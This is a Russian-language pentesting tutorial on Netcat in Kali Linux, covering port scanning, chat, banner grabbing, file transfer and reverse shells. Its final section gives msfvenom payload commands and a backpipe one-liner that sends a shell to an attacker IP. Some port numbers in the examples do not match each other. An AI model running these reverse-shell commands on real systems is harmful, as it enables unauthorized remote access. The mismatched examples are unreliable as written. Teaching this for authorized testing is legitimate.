- Что такое Netcat
- Сканирование портов с помощью Netcat
- Сканирование TCP с помощью Netcat на Kali Linux
- UDP-сканирование с помощью Netcat на Kali Linux
- Создание чата в Netcat
- Сбор информации о хосте
- Передача файлов с помощью Netcat
- Обратный шелл с использованием Netcat
- Обратный шелл Linux
- Обратный шелл Windows
- Заключение
Netcat называют «швейцарским ножом хакера», который часто используется в пентестах на Kali Linux. В этой статье познакомимся ближе с этим полезным инструментом и научимся использовать Netcat на Kali Linux, для сканирования портов, передачи файлов, получения информации о хосте и т.д.
Еще по теме: Лучшие гаджеты хакера
Статья написана в образовательных целях для обучения пентестеров (белых хакеров). Взлом и несанкционированный доступ уголовно наказуем. Ни редакция spy-soft.net, ни автор не несут ответственность за ваши действия.
Что такое Netcat
Netcat, также известная как nc, — это сетевая утилита Unix, которая позволяет устанавливать соединения TCP и UDP для передачи данных. Netcat очень полезен как для хакинга, так и для аудитa безопасности сетей. Инструмент часто используется в прохождении заданий CTF (площадки для хакеров).
Для начала откроем справку:
1 |
nc -h |
Сканирование портов с помощью Netcat
Netcat не заточен для сканирование портов, но его все равно, можно использовать для этой цели, добавив аргумент -z. Это позволит определить тип службы, работающей на конкретном порту. Netcat может выполнять как TCP, так и UDP сканирование.
Сканирование TCP с помощью Netcat на Kali Linux
Для сканирования хоста используем команду:
1 |
nc -v -n -z 192.168.122.48 10-400 |
- -v используется для подробного режима.
- -n указывает только числовой IP-адрес.
- -z указывает нулевую модель ввода-вывода (в основном используется для сканирования).
Мы также указали диапазон портов (от 10 до 400).
На скрине выше видно, что соединения с закрытыми портами отклоняются, а открытые порты TCP получают успешное соединение. Так мы можем сканировать порты TCP через Netcat.
UDP-сканирование с помощью Netcat на Kali Linux
Мы также можем сканировать порты UDP:
1 |
nc -vzu 192.168.122.48 20-100 |
Аргумент -u используется для сканирования портов UDP.
Создание чата в Netcat
С помощью Netcat можно создать чат для обмена сообщениями между пользователями. Для этого нужно установить соединение. В моем примере будут использоваться разные операционные системы — Elementary OS и Kali.
Для создания чата необходимо знать IP-адреса обеих машин (в моем случае используется локальный IP-адрес).
Запускаем следующую команду в одной ОС (в моем случае — Elementary):
1 |
nc 192.168.225.54 12345 |
Порт 12345 был выбран только для примера. Вы может использовать любой другой свободный порт.
На Kali Linux вводим команду:
1 |
nc -lvp 1234 |
Аргумент -l используется для режима прослушивания, v для детального режима, а p указывает порт.
Теперь соединение установлено, и обе ОС могут взаимодействовать друг с другом.
Можно также использовать внешний IP-адрес вместо локального IP-адреса и переадресовать выбранный нами порт.
Сбор информации о хосте
С помощью Netcat можно получить информацию о компьютере. Для получения информации о службах, работающих на определенном порту:
1 |
nc 192.168.122.48 21 |
На скрине ниже информация о запущенных сервисах.
Работает фтп-сервер vsFTPd, версии 2.3.4.
Передача файлов с помощью Netcat
Netcat можно использовать для передачи файлов.
Например, нужно передать с Kali Linux какой-нибудь файл (в моем случае — file.txt) на смартфон Android. Для этого используем команду:
1 |
nc -lvp 2345 < file.txt |
Чтобы принять файл на Android можно воспользоваться Termux. Открываем терминал Termux и вводим команду получения файла:
1 |
nc 192.168.225.54 2345 > file.txt |
Где 192.168.225.54 — это IP-адрес Kali Linux.
Обратный шелл с использованием Netcat
Тулзу можно использовать для обраного шелла Windows и Linux.
Обратный шелл Linux
Мы можем создать обратный шелл с помощью msfvenom и настроить прослушиватель с помощью Netcat. Для Linux в качестве цели можно использовать команду:
1 |
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.122.1 lport=6666 R |
Для создания полезной нагрузки используется аргумент R.
Теперь запускаем прослушиватель netcat на атакующей машине:
1 |
nc -lvp 666 |
И на целевой машине, запускаем созданный выше файл.
Иногда из соображений безопасности мы не можем получить сеанс, используя это метод. В таком случае следует запустить прослушиватель netcat на порту 443:
1 |
nc -lvp 443 |
Затем выполнить следующие команды на целевой машине Linux:
1 |
mknod /tmp/backpipe p |
1 |
/bin/sh 0</tmp/backpipe | nc 192.168.122.1 443 1>/tmp/backpipe |
Обратный шелл Windows
Для этого запустите следующие команды на атакующем Kali Linux и на целевом компьютере Windows в командной строке CMD:
Для создания полезной нагрузки с расширением .exe, надо использовать msfvenom:
1 |
msfvenom -p windows/shell_reverse_tcp lhost=192.168.122.1 lport=4444 –f exe > shell.exe |
Данная команда создаст файл shell.exe, для запуска на компьютерах Windows.
Заключение
Netcat — полезный инструмент, который всегда стоит иметь под рукой и знать, как им правильно пользоваться.
Еще по теме: